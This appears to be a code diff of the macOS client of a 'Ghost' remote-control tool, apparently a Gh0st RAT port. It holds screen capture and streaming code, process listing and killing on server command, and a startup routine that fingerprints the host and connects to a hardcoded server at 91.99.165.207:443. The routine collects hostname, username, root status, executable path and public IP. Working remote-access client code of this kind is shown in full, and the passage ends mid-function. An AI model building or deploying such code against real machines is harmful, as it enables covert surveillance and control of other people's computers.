size_t width = CGImageGetWidth(image);
size_t height = CGImageGetHeight(image);
if (width != (size_t)m_width || height != (size_t)m_height) {
// Screen resolution changed, need to reinitialize
CGImageRelease(image);
NSLog(@"Screen resolution changed: %zux%zu", width, height);
return false;
}
// Create bitmap context to get raw pixel data
CGColorSpaceRef colorSpace = CGColorSpaceCreateDeviceRGB();
size_t bytesPerRow = width * 4;
// Temporary buffer for top-down BGRA
std::vector<uint8_t> tempBuffer(bytesPerRow * height);
CGContextRef context = CGBitmapContextCreate(
tempBuffer.data(),
width,
height,
8,
bytesPerRow,
colorSpace,
kCGImageAlphaPremultipliedFirst | kCGBitmapByteOrder32Little // BGRA
);
CGColorSpaceRelease(colorSpace);
if (!context) {
CGImageRelease(image);
NSLog(@"Failed to create bitmap context");
return false;
}
// Draw image into context
CGContextDrawImage(context, CGRectMake(0, 0, width, height), image);
CGContextRelease(context);
CGImageRelease(image);
// Flip vertically (BMP is bottom-up, CGImage is top-down)
for (size_t y = 0; y < height; y++) {
size_t srcRow = y;
size_t dstRow = height - 1 - y;
memcpy(buffer.data() + dstRow * bytesPerRow,
tempBuffer.data() + srcRow * bytesPerRow,
bytesPerRow);
}
return true;
}
void ScreenHandler::sendFirstScreen()
{
if (!captureScreen(m_currFrame)) return;
if (!m_client) return;
uint32_t imgSize = m_bmpHeader.biSizeImage;
std::vector<uint8_t> buf(1 + imgSize);
buf[0] = TOKEN_FIRSTSCREEN;
memcpy(&buf[1], m_currFrame.data(), imgSize);
m_client->Send2Server((char*)buf.data(), buf.size());
// Save as previous frame
m_prevFrame = m_currFrame;
}
void ScreenHandler::sendDiffFrame()
{
if (!captureScreen(m_currFrame)) return;
if (!m_client) return;
uint8_t* out = m_diffBuffer.data();
out[0] = TOKEN_NEXTSCREEN;
uint8_t* data = out + 1;
// Write algorithm type
uint8_t algo = m_algorithm.load();
memcpy(data, &algo, sizeof(uint8_t));
// Write cursor position
int32_t cursorX, cursorY;
getCursorPosition(cursorX, cursorY);
memcpy(data + 1, &cursorX, sizeof(int32_t));
memcpy(data + 1 + sizeof(int32_t), &cursorY, sizeof(int32_t));
// Write cursor type
uint8_t cursorType = getCursorTypeIndex();
memcpy(data + 1 + 2 * sizeof(int32_t), &cursorType, sizeof(uint8_t));
uint32_t headerSize = 1 + 2 * sizeof(int32_t) + 1;
uint8_t* diffData = data + headerSize;
uint32_t diffLen = compareBitmap(m_currFrame.data(), m_prevFrame.data(),
diffData, m_bmpHeader.biSizeImage, algo);
uint32_t totalLen = 1 + headerSize + diffLen;
m_client->Send2Server((char*)out, totalLen);
// Update previous frame
std::swap(m_prevFrame, m_currFrame);
}
void ScreenHandler::sendH264Frame(bool keyframe)
{
if (!captureScreen(m_currFrame)) return;
if (!m_client) return;
// Initialize encoder if needed
if (!m_h264Encoder) {
m_h264Encoder = std::make_unique<H264Encoder>();
int fps = m_maxFPS.load();
if (fps <= 0) fps = 30;
if (!m_h264Encoder->open(m_width, m_height, fps, m_h264Bitrate)) {
NSLog(@"Failed to initialize H264 encoder: %s", m_h264Encoder->getLastError());
m_h264Encoder.reset();
return;
}
NSLog(@"H264 encoder initialized: %dx%d @ %d fps", m_width, m_height, fps);
}
// Force keyframe if requested
if (keyframe) {
m_h264Encoder->forceKeyframe();
}
// Encode frame
uint8_t* encodedData = nullptr;
uint32_t encodedSize = 0;
uint32_t stride = m_width * 4;
int result = m_h264Encoder->encode(
m_currFrame.data(),
32, // bpp
stride,
m_width,
m_height,
&encodedData,
&encodedSize,
false // Don't flip - keep bottom-up format like Windows client
);
if (result <= 0 || !encodedData || encodedSize == 0) {
return;
}
// Build packet: [TOKEN_NEXTSCREEN][ALGORITHM_H264][CursorX][CursorY][CursorType][H264Data]
// Note: H264 always uses TOKEN_NEXTSCREEN because:
// - Server's TOKEN_KEYFRAME handler does nothing for H264 (just break)
// - Server's TOKEN_NEXTSCREEN handler calls Decode() for H264
// - H264 encoder manages keyframes (I-frames) internally
// - FFmpeg decoder auto-detects I-frames vs P-frames
uint32_t headerSize = 1 + 1 + 2 * sizeof(int32_t) + 1;
std::vector<uint8_t> packet(headerSize + encodedSize);
packet[0] = TOKEN_NEXTSCREEN;
packet[1] = ALGORITHM_H264;
// Cursor position
int32_t cursorX, cursorY;
getCursorPosition(cursorX, cursorY);
memcpy(&packet[2], &cursorX, sizeof(int32_t));
memcpy(&packet[2 + sizeof(int32_t)], &cursorY, sizeof(int32_t));
// Cursor type
packet[2 + 2 * sizeof(int32_t)] = getCursorTypeIndex();
// H264 data
memcpy(&packet[headerSize], encodedData, encodedSize);
m_client->Send2Server((char*)packet.data(), packet.size());
}
uint32_t ScreenHandler::compareBitmap(const uint8_t* curr, const uint8_t* prev,
uint8_t* outBuf, uint32_t totalBytes, uint8_t algo)
{
const uint32_t bytesPerPixel = 4;
const uint32_t totalPixels = totalBytes / bytesPerPixel;
const uint32_t gapThreshold = 8;
const uint32_t ratio = (algo == ALGORITHM_GRAY || algo == ALGORITHM_RGB565) ? 4 : 1;
uint32_t outOffset = 0;
uint32_t i = 0;
while (i < totalPixels) {
// Skip identical pixels
while (i < totalPixels &&
*(uint32_t*)(curr + i * 4) == *(uint32_t*)(prev + i * 4)) {
i++;
}
if (i >= totalPixels) break;
uint32_t start = i;
uint32_t lastDiff = i;
while (i < totalPixels) {
if (*(uint32_t*)(curr + i * 4) != *(uint32_t*)(prev + i * 4)) {
lastDiff = i;
} else if (i - lastDiff > gapThreshold) {
break;
}
i++;
}
uint32_t end = lastDiff + 1;
uint32_t count = end - start;
uint32_t byteOffset = start * bytesPerPixel;
uint32_t byteCount = count * bytesPerPixel;
// Write byteOffset
memcpy(outBuf + outOffset, &byteOffset, sizeof(uint32_t));
outOffset += sizeof(uint32_t);
// Write length
uint32_t lengthField = byteCount / ratio;
memcpy(outBuf + outOffset, &lengthField, sizeof(uint32_t));
outOffset += sizeof(uint32_t);
// Write pixel data
const uint8_t* srcData = curr + byteOffset;
if (algo == ALGORITHM_RGB565) {
convertBGRAtoRGB565(srcData, (uint16_t*)(outBuf + outOffset), count);
outOffset += count * 2;
} else if (algo == ALGORITHM_GRAY) {
convertBGRAtoGray(srcData, outBuf + outOffset, count);
outOffset += count;
} else {
memcpy(outBuf + outOffset, srcData, byteCount);
outOffset += byteCount;
}
}
return outOffset;
}
void ScreenHandler::convertBGRAtoGray(const uint8_t* src, uint8_t* dst, uint32_t pixelCount)
{
for (uint32_t i = 0; i < pixelCount; i++) {
uint8_t b = src[i * 4 + 0];
uint8_t g = src[i * 4 + 1];
uint8_t r = src[i * 4 + 2];
dst[i] = (uint8_t)((306 * r + 601 * g + 117 * b) >> 10);
}
}
void ScreenHandler::convertBGRAtoRGB565(const uint8_t* src, uint16_t* dst, uint32_t pixelCount)
{
for (uint32_t i = 0; i < pixelCount; i++) {
uint8_t b = src[i * 4 + 0];
uint8_t g = src[i * 4 + 1];
uint8_t r = src[i * 4 + 2];
uint16_t r5 = (r >> 3) & 0x1F;
uint16_t g6 = (g >> 2) & 0x3F;
uint16_t b5 = (b >> 3) & 0x1F;
dst[i] = (r5 << 11) | (g6 << 5) | b5;
}
}
uint64_t ScreenHandler::getTickMs()
{
static mach_timebase_info_data_t timebase = {0, 0};
if (timebase.denom == 0) {
mach_timebase_info(&timebase);
}
uint64_t now = mach_absolute_time();
return (now * timebase.numer / timebase.denom) / 1000000;
}
// Cached logical cursor position (shared between getCursorPosition and getCursorTypeIndex)
static CGPoint s_cachedLogicalPos = {0, 0};
void ScreenHandler::getCursorPosition(int32_t& x, int32_t& y)
{
// Get cursor position in logical (point) coordinates
CGEventRef event = CGEventCreate(nullptr);
s_cachedLogicalPos = CGEventGetLocation(event);
CFRelease(event);
// Convert to physical pixel coordinates (for Retina displays)
x = (int32_t)(s_cachedLogicalPos.x * m_scaleFactor);
y = (int32_t)(s_cachedLogicalPos.y * m_scaleFactor);
// Clamp to screen bounds
if (x < 0) x = 0;
if (y < 0) y = 0;
if (x >= m_width) x = m_width - 1;
if (y >= m_height) y = m_height - 1;
}
uint8_t ScreenHandler::getCursorTypeIndex()
{
// Windows cursor type indices (from CursorInfo.h):
// 0: IDC_APPSTARTING, 1: IDC_ARROW, 2: IDC_CROSS, 3: IDC_HAND,
// 4: IDC_HELP, 5: IDC_IBEAM, 6: IDC_ICON, 7: IDC_NO,
// 8: IDC_SIZE, 9: IDC_SIZEALL, 10: IDC_SIZENESW, 11: IDC_SIZENS,
// 12: IDC_SIZENWSE, 13: IDC_SIZEWE, 14: IDC_UPARROW, 15: IDC_WAIT
// NSCursor.currentSystemCursor doesn't work for background daemons.
// Use Accessibility API to infer cursor type from the UI element under cursor.
// Throttle to avoid performance impact (check every 100ms)
static uint8_t cachedIndex = 1;
static uint64_t lastCheckTime = 0;
static CGPoint lastPos = {-1, -1};
// Reuse cursor position from getCursorPosition (called before this)
CGPoint pos = s_cachedLogicalPos;
// Throttle: only check if cursor moved significantly or 100ms elapsed
uint64_t now = getTickMs();
bool posChanged = (fabs(pos.x - lastPos.x) > 5 || fabs(pos.y - lastPos.y) > 5);
if (!posChanged && (now - lastCheckTime) < 100) {
return cachedIndex;
}
lastCheckTime = now;
lastPos = pos;
uint8_t index = 1; // Default to arrow
// Get the UI element at cursor position using Accessibility API
AXUIElementRef systemWide = AXUIElementCreateSystemWide();
AXUIElementRef element = nullptr;
AXError err = AXUIElementCopyElementAtPosition(systemWide, (float)pos.x, (float)pos.y, &element);
CFRelease(systemWide);
if (err == kAXErrorSuccess && element) {
// Get the role of the element
CFTypeRef roleRef = nullptr;
if (AXUIElementCopyAttributeValue(element, kAXRoleAttribute, &roleRef) == kAXErrorSuccess && roleRef) {
NSString* role = (__bridge NSString*)roleRef;
// Map UI element roles to cursor types
if ([role isEqualToString:NSAccessibilityTextFieldRole] ||
[role isEqualToString:NSAccessibilityTextAreaRole] ||
[role isEqualToString:NSAccessibilityStaticTextRole] ||
[role isEqualToString:@"AXWebArea"]) {
// Check if text is editable
CFTypeRef editableRef = nullptr;
if (AXUIElementCopyAttributeValue(element, CFSTR("AXEditable"), &editableRef) == kAXErrorSuccess) {
if (editableRef && CFBooleanGetValue((CFBooleanRef)editableRef)) {
index = 5; // IDC_IBEAM for editable text
}
if (editableRef) CFRelease(editableRef);
} else if ([role isEqualToString:NSAccessibilityTextFieldRole] ||
[role isEqualToString:NSAccessibilityTextAreaRole]) {
index = 5; // IDC_IBEAM for text input fields
}
} else if ([role isEqualToString:NSAccessibilityLinkRole] ||
[role isEqualToString:@"AXLink"]) {
index = 3; // IDC_HAND for links
} else if ([role isEqualToString:NSAccessibilityButtonRole]) {
index = 3; // IDC_HAND for buttons (clickable)
} else if ([role isEqualToString:NSAccessibilitySplitterRole] ||
[role isEqualToString:@"AXSplitGroup"]) {
// Check orientation for resize cursor
CFTypeRef orientRef = nullptr;
if (AXUIElementCopyAttributeValue(element, CFSTR("AXOrientation"), &orientRef) == kAXErrorSuccess && orientRef) {
NSString* orient = (__bridge NSString*)orientRef;
if ([orient isEqualToString:@"AXHorizontalOrientation"]) {
index = 11; // IDC_SIZENS (vertical resize)
} else {
index = 13; // IDC_SIZEWE (horizontal resize)
}
CFRelease(orientRef);
} else {
index = 13; // IDC_SIZEWE default for splitters
}
} else if ([role isEqualToString:NSAccessibilityGrowAreaRole]) {
index = 12; // IDC_SIZENWSE for resize corners
}
CFRelease(roleRef);
}
CFRelease(element);
}
// Cache the result
cachedIndex = index;
return index;
}
void ScreenHandler::captureLoop()
{
NSLog(@"ScreenHandler CaptureLoop started (%dx%d)", m_width, m_height);
uint8_t currentAlgo = m_algorithm.load();
// Always send raw first frame (TOKEN_FIRSTSCREEN) to initialize server display
// This matches Windows client behavior: first frame is always raw bitmap,
// even in H264 mode. Server needs TOKEN_FIRSTSCREEN to set m_bIsFirst = FALSE.
sendFirstScreen();
// Small delay to ensure first frame is processed before H264 stream starts
usleep(50000); // 50ms, same as Windows client
while (m_running) {
uint64_t start = getTickMs();
uint8_t algo = m_algorithm.load();
// Check if algorithm changed
if (algo != currentAlgo) {
NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo);
currentAlgo = algo;
// If switching to/from H264, reset encoder
if (algo == ALGORITHM_H264) {
// Starting H264 - will be initialized in sendH264Frame
sendH264Frame(true); // First H264 frame is keyframe
} else if (m_h264Encoder) {
// Switching away from H264 - close encoder
m_h264Encoder->close();
m_h264Encoder.reset();
sendFirstScreen(); // Send full frame for DIFF modes
}
} else {
// Normal frame
if (algo == ALGORITHM_H264) {
sendH264Frame(false);
} else {
sendDiffFrame();
}
}
int fps = m_maxFPS.load();
if (fps <= 0) fps = 10;
int sleepMs = 1000 / fps;
int elapsed = (int)(getTickMs() - start);
int wait = sleepMs - elapsed;
if (wait > 0) {
usleep(wait * 1000);
}
}
NSLog(@"ScreenHandler CaptureLoop stopped");
}

40
macos/SystemManager.h Normal file
View File

@@ -0,0 +1,40 @@
#pragma once
#include <cstdint>
#include <vector>
#include <string>
// Forward declaration
class IOCPClient;
class SystemManager {
public:
SystemManager(IOCPClient* client, uint64_t clientID);
~SystemManager();
// Handle commands from server
void onReceive(const uint8_t* data, size_t size);
private:
// Send process list to server
void sendProcessList();
// Kill processes by PID
void killProcesses(const uint8_t* data, size_t size);
// Send window list (limited on macOS without accessibility)
void sendWindowsList();
// Get process name by PID
static std::string getProcessName(pid_t pid);
// Get process executable path by PID
static std::string getProcessPath(pid_t pid);
// Get all running PIDs
static std::vector<pid_t> getAllPids();
private:
IOCPClient* m_client;
uint64_t m_clientID;
};

201
macos/SystemManager.mm Normal file
View File

@@ -0,0 +1,201 @@
#import "SystemManager.h"
#import "../client/IOCPClient.h"
#import <Cocoa/Cocoa.h>
#import <sys/sysctl.h>
#import <libproc.h>
#import <signal.h>
#import <unistd.h>
SystemManager::SystemManager(IOCPClient* client, uint64_t clientID)
: m_client(client)
, m_clientID(clientID)
{
// Send initial process list on connection
sendProcessList();
}
SystemManager::~SystemManager()
{
}
void SystemManager::onReceive(const uint8_t* data, size_t size)
{
if (!data || size == 0) return;
switch (data[0]) {
case COMMAND_PSLIST:
sendProcessList();
break;
case COMMAND_KILLPROCESS:
if (size > 1) {
killProcesses(data + 1, size - 1);
// Refresh list after kill
usleep(100000); // 100ms wait
sendProcessList();
}
break;
case COMMAND_WSLIST:
sendWindowsList();
break;
default:
NSLog(@"SystemManager: Unknown command: %d", (int)data[0]);
break;
}
}
std::vector<pid_t> SystemManager::getAllPids()
{
std::vector<pid_t> pids;
// Get number of processes
int count = proc_listpids(PROC_ALL_PIDS, 0, NULL, 0);
if (count <= 0) return pids;
// Allocate buffer for PIDs
std::vector<pid_t> buffer(count * 2); // Extra space for new processes
count = proc_listpids(PROC_ALL_PIDS, 0, buffer.data(), (int)(buffer.size() * sizeof(pid_t)));
if (count <= 0) return pids;
int numPids = count / sizeof(pid_t);
for (int i = 0; i < numPids; i++) {
if (buffer[i] > 0) {
pids.push_back(buffer[i]);
}
}
return pids;
}
std::string SystemManager::getProcessName(pid_t pid)
{
char name[PROC_PIDPATHINFO_MAXSIZE];
memset(name, 0, sizeof(name));
struct proc_bsdinfo info;
if (proc_pidinfo(pid, PROC_PIDTBSDINFO, 0, &info, sizeof(info)) > 0) {
return std::string(info.pbi_name);
}
return "";
}
std::string SystemManager::getProcessPath(pid_t pid)
{
char path[PROC_PIDPATHINFO_MAXSIZE];
memset(path, 0, sizeof(path));
if (proc_pidpath(pid, path, sizeof(path)) > 0) {
return std::string(path);
}
return "";
}
void SystemManager::sendProcessList()
{
if (!m_client) return;
std::vector<uint8_t> buf;
buf.reserve(64 * 1024);
// Token header
buf.push_back(TOKEN_PSLIST);
// Architecture string
#if defined(__arm64__) || defined(__aarch64__)
const char* arch = "arm64";
#else
const char* arch = "x64";
#endif
std::vector<pid_t> pids = getAllPids();
for (pid_t pid : pids) {
if (pid <= 0) continue;
std::string name = getProcessName(pid);
if (name.empty()) continue;
std::string path = getProcessPath(pid);
if (path.empty()) {
path = "[" + name + "]";
}
// Format: "processname:arch"
std::string exeFile = name + ":" + arch;
// Write PID (4 bytes, DWORD)
uint32_t dwPid = (uint32_t)pid;
const uint8_t* p = (const uint8_t*)&dwPid;
buf.insert(buf.end(), p, p + sizeof(uint32_t));
// Write exeFile (null-terminated)
buf.insert(buf.end(), exeFile.begin(), exeFile.end());
buf.push_back(0);
// Write fullPath (null-terminated)
buf.insert(buf.end(), path.begin(), path.end());
buf.push_back(0);
}
m_client->Send2Server((char*)buf.data(), buf.size());
NSLog(@"SystemManager SendProcessList: %zu bytes, %zu processes",
buf.size(), pids.size());
}
void SystemManager::killProcesses(const uint8_t* data, size_t size)
{
// Each PID is 4 bytes (DWORD)
for (size_t i = 0; i + sizeof(uint32_t) <= size; i += sizeof(uint32_t)) {
uint32_t dwPid = *(uint32_t*)(data + i);
pid_t pid = (pid_t)dwPid;
// Don't allow killing kernel/launchd
if (pid <= 1) continue;
// Don't allow killing ourselves
if (pid == getpid()) continue;
int ret = kill(pid, SIGKILL);
NSLog(@"SystemManager kill(%d, SIGKILL) = %d", (int)pid, ret);
}
}
void SystemManager::sendWindowsList()
{
if (!m_client) return;
std::vector<uint8_t> buf;
buf.push_back(TOKEN_WSLIST);
// Get list of running applications
NSArray<NSRunningApplication*>* apps = [[NSWorkspace sharedWorkspace] runningApplications];
for (NSRunningApplication* app in apps) {
// Only include apps with windows
if (app.activationPolicy != NSApplicationActivationPolicyRegular) {
continue;
}
NSString* name = app.localizedName;
if (!name) continue;
pid_t pid = app.processIdentifier;
// Write window handle (use PID as pseudo-handle)
uint64_t hwnd = (uint64_t)pid;
const uint8_t* p = (const uint8_t*)&hwnd;
buf.insert(buf.end(), p, p + sizeof(uint64_t));
// Write window title (null-terminated)
const char* utf8Name = [name UTF8String];
buf.insert(buf.end(), utf8Name, utf8Name + strlen(utf8Name));
buf.push_back(0);
}
m_client->Send2Server((char*)buf.data(), buf.size());
NSLog(@"SystemManager SendWindowsList: %zu bytes", buf.size());
}

47
macos/build.sh Normal file
View File

@@ -0,0 +1,47 @@
#!/bin/bash
# macOS Ghost Client Build Script
# Usage: ./build.sh
set -e
echo "=== macOS Ghost Client Build ==="
echo ""
# Check for Xcode Command Line Tools
if ! command -v clang &> /dev/null; then
echo "Error: Xcode Command Line Tools not installed"
echo "Run: xcode-select --install"
exit 1
fi
# Check for CMake
if ! command -v cmake &> /dev/null; then
echo "Error: CMake not installed"
echo "Install with: brew install cmake"
exit 1
fi
# Create build directory
mkdir -p build
cd build
# Configure
echo "Configuring..."
cmake .. -DCMAKE_BUILD_TYPE=Release
# Build
echo ""
echo "Building..."
cmake --build . --config Release -j$(sysctl -n hw.ncpu)
# Done
echo ""
echo "=== Build Complete ==="
echo "Executable: build/bin/ghost"
echo ""
echo "To run:"
echo " ./bin/ghost [server_ip] [port]"
echo ""
echo "Example:"
echo " ./bin/ghost 192.168.0.55 6543"

BIN
macos/lib/libzstd.a Normal file

Binary file not shown.

555
macos/main.mm Normal file
View File

@@ -0,0 +1,555 @@
#import <Cocoa/Cocoa.h>
#import <sys/sysctl.h>
#import <mach/mach.h>
#import <mach-o/dyld.h>
#import <pwd.h>
#import <signal.h>
#import <unistd.h>
#import <IOKit/IOKitLib.h>
#import <fstream>
#import <thread>
#import <atomic>
#import <memory>
#import <string>
#import "../client/IOCPClient.h"
#define XXH_INLINE_ALL
#include "../common/xxhash.h"
#import "Permissions.h"
#import "ScreenHandler.h"
#import "InputHandler.h"
#import "SystemManager.h"
// Global state
static std::atomic<bool> g_running(true);
// Client ID (calculated from system info, used by ScreenHandler)
uint64_t g_myClientID = 0;
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
State g_bExit = S_CLIENT_NORMAL;
// ============== System Information Functions ==============
// Get macOS version string (e.g., "macOS 14.0 Sonoma")
static std::string getMacOSVersion()
{
NSOperatingSystemVersion version = [[NSProcessInfo processInfo] operatingSystemVersion];
NSString* versionString = [NSString stringWithFormat:@"macOS %ld.%ld.%ld",
(long)version.majorVersion,
(long)version.minorVersion,
(long)version.patchVersion];
return std::string([versionString UTF8String]);
}
// Get hostname
static std::string getHostname()
{
char hostname[256] = {};
gethostname(hostname, sizeof(hostname));
return std::string(hostname);
}
// Get CPU model and frequency
static std::string getCPUInfo()
{
char buf[256] = {};
size_t size = sizeof(buf);
if (sysctlbyname("machdep.cpu.brand_string", buf, &size, NULL, 0) == 0) {
return std::string(buf);
}
return "Unknown CPU";
}
// Get CPU frequency in MHz
static int getCPUFrequencyMHz()
{
uint64_t freq = 0;
size_t size = sizeof(freq);
if (sysctlbyname("hw.cpufrequency_max", &freq, &size, NULL, 0) == 0) {
return (int)(freq / 1000000);
}
return 0;
}
// Get number of CPU cores
static int getCPUCores()
{
int cores = 0;
size_t size = sizeof(cores);
if (sysctlbyname("hw.ncpu", &cores, &size, NULL, 0) == 0) {
return cores;
}
return 1;
}
// Get total physical memory in GB
static double getMemoryGB()
{
int64_t memSize = 0;
size_t size = sizeof(memSize);
if (sysctlbyname("hw.memsize", &memSize, &size, NULL, 0) == 0) {
return (double)memSize / (1024.0 * 1024.0 * 1024.0);
}
return 0;
}
// Get current username
static std::string getUsername()
{
struct passwd* pw = getpwuid(getuid());
if (pw && pw->pw_name) {
return std::string(pw->pw_name);
}
const char* user = getenv("USER");
return user ? std::string(user) : "unknown";
}
// Get screen resolution
static std::string getScreenResolution()
{
NSScreen* mainScreen = [NSScreen mainScreen];
if (mainScreen) {
NSRect frame = [mainScreen frame];
return [NSString stringWithFormat:@"1:%dx%d",
(int)frame.size.width, (int)frame.size.height].UTF8String;
}
return "0:0x0";
}
// Get executable path
static std::string getExecutablePath()
{
char path[PATH_MAX];
uint32_t size = sizeof(path);
if (_NSGetExecutablePath(path, &size) == 0) {
return std::string(path);
}
return "";
}
// Get current time string (Beijing time, UTC+8)
static std::string getTimeString()
{
NSDateFormatter* formatter = [[NSDateFormatter alloc] init];
[formatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"];
[formatter setTimeZone:[NSTimeZone timeZoneForSecondsFromGMT:8*3600]];
NSString* dateString = [formatter stringFromDate:[NSDate date]];
return std::string([dateString UTF8String]);
}
// Get active application name
static std::string getActiveApp()
{
NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication];
if (app) {
NSString* name = [app localizedName];
if (name) {
return std::string([name UTF8String]);
}
}
return "";
}
// ============== Check if camera exists ==============
static bool hasCameraDevice()
{
// Most MacBooks have built-in FaceTime camera
// Check model identifier to determine if it's a MacBook
char model[256] = {};
size_t size = sizeof(model);
if (sysctlbyname("hw.model", model, &size, NULL, 0) == 0) {
std::string modelStr(model);
// MacBooks (Air/Pro) always have cameras
if (modelStr.find("MacBook") != std::string::npos) {
return true;
}
// iMac also has camera
if (modelStr.find("iMac") != std::string::npos) {
return true;
}
}
// Mac Mini and Mac Pro typically don't have built-in cameras
return false;
}
// ============== Public IP ==============
// Execute command and return output
static std::string execCmd(const std::string& cmd)
{
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
if (!pipe) return "";
char buf[4096];
std::string result;
while (fgets(buf, sizeof(buf), pipe.get())) {
result += buf;
}
// Trim trailing whitespace
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
result.pop_back();
return result;
}
// HTTP GET using curl (macOS has curl built-in)
static std::string httpGet(const std::string& url, int timeoutSec = 5)
{
std::string t = std::to_string(timeoutSec);
return execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
}
// Get public IP (try multiple sources)
static std::string getPublicIP()
{
static const char* urls[] = {
"https://checkip.amazonaws.com",
"https://api.ipify.org",
"https://ipinfo.io/ip",
"https://icanhazip.com",
"https://ifconfig.me/ip",
};
for (auto& url : urls) {
std::string ip = httpGet(url, 3);
// Validate: non-empty, contains dot, reasonable length
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
NSLog(@"getPublicIP: %s (from %s)", ip.c_str(), url);
return ip;
}
}
NSLog(@"getPublicIP: all sources failed");
return "";
}
// ============== Install Time (persistent storage) ==============
static std::string getInstallTime()
{
@autoreleasepool {
NSUserDefaults* defaults = [NSUserDefaults standardUserDefaults];
NSString* installTime = [defaults stringForKey:@"ghost_install_time"];
if (installTime == nil || [installTime length] == 0) {
// First run - record current time as install time
std::string currentTime = getTimeString();
installTime = [NSString stringWithUTF8String:currentTime.c_str()];
[defaults setObject:installTime forKey:@"ghost_install_time"];
[defaults synchronize];
NSLog(@"First run - recorded install time: %@", installTime);
}
return std::string([installTime UTF8String]);
}
}
// ============== Fill LOGIN_INFOR ==============
static void fillLoginInfo(LOGIN_INFOR& info)
{
// Token is set in constructor
info.bToken = TOKEN_LOGIN;
// OS Version
std::string osVer = getMacOSVersion();
strncpy(info.OsVerInfoEx, osVer.c_str(), sizeof(info.OsVerInfoEx) - 1);
// CPU MHz
info.dwCPUMHz = getCPUFrequencyMHz();
// PC Name (hostname)
std::string hostname = getHostname();
strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
// Webcam
info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
// Start time (current session start)
std::string startTime = getTimeString();
strncpy(info.szStartTime, startTime.c_str(), sizeof(info.szStartTime) - 1);
// Reserved fields (pipe-separated, must match Windows client order)
// Order: Type|Bits|Cores|Memory|Path|?|InstallTime|?|ProgBits|Auth|Location|IP|Version|User|IsAdmin|Resolution|ClientID
// 1. Client type (use GetClientType for consistency with Windows client)
info.AddReserved(GetClientType(CLIENT_TYPE_MACOS));
// 2. System bits (OS bits, always 64 on modern macOS)
info.AddReserved(64);
// 3. CPU cores
info.AddReserved(getCPUCores());
// 4. Memory (GB)
info.AddReserved(getMemoryGB());
// 5. File path (executable path)
std::string exePath = getExecutablePath();
info.AddReserved(exePath.c_str());
// 6. Placeholder
info.AddReserved("?");
// 7. Install time (first run time, persistent)
std::string installTime = getInstallTime();
info.AddReserved(installTime.c_str());
// 8. Active window / Start time (initial value is start time, updated via heartbeat)
info.AddReserved(startTime.c_str());
// 9. Program bits (always 64 on modern macOS)
info.AddReserved(64);
// 10. Authorization info (placeholder)
info.AddReserved("");
// 11. Location (placeholder, could add GeoIP later)
info.AddReserved("");
// 12. Public IP
std::string pubIP = getPublicIP();
info.AddReserved(pubIP.c_str());
// 13. Version
info.AddReserved("1.0.0");
// 14. Current username
std::string username = getUsername();
info.AddReserved(username.c_str());
// 15. Is running as root
info.AddReserved(getuid() == 0 ? 1 : 0);
// 16. Screen resolution (format: count:widthxheight)
std::string resolution = getScreenResolution();
info.AddReserved(resolution.c_str());
// 17. Client ID (calculated from system info, same algorithm as server)
// Format: pubIP|hostname|os|cpu|path
char cpuStr[32];
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz);
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
hostname + "|" +
osVer + "|" +
cpuStr + "|" +
exePath;
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
info.AddReserved(std::to_string(g_myClientID).c_str());
NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu",
osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID);
}
// ============== Signal Handling ==============
static void signalHandler(int sig)
{
NSLog(@"Received signal %d, shutting down...", sig);
g_running = false;
}
static void setupSignals()
{
signal(SIGTERM, signalHandler);
signal(SIGINT, signalHandler);
signal(SIGHUP, SIG_IGN);
signal(SIGPIPE, SIG_IGN);
}
// ============== Main Entry Point ==============
// RTT 估算器(参考 RFC 6298 算法,与 Windows 端 KernelManager 一致)
struct RttEstimator {
double srtt = 0.0; // 平滑 RTT (秒)
double rttvar = 0.0; // RTT 波动 (秒)
double rto = 0.0; // 超时时间 (秒)
bool initialized = false;
void update_from_sample(double rtt_ms)
{
// 过滤异常值RTT应在合理范围内 (0, 30000] 毫秒
if (rtt_ms <= 0 || rtt_ms > 30000)
return;
const double alpha = 1.0 / 8;
const double beta = 1.0 / 4;
double rtt = rtt_ms / 1000.0;
if (!initialized) {
srtt = rtt;
rttvar = rtt / 2.0;
rto = srtt + 4.0 * rttvar;
initialized = true;
} else {
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
srtt = (1.0 - alpha) * srtt + alpha * rtt;
rto = srtt + 4.0 * rttvar;
}
// 限制最小 RTORFC 6298 推荐 1 秒)
if (rto < 1.0) rto = 1.0;
}
};
RttEstimator g_rttEstimator;
int g_heartbeatInterval = 5; // 心跳间隔(秒),默认 5 秒,后续可由服务端动态调整
void* ScreenworkingThread(void* param)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
if (!handler->init()) {
Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n");
return NULL;
}
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
handler->sendBitmapInfo();
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
}
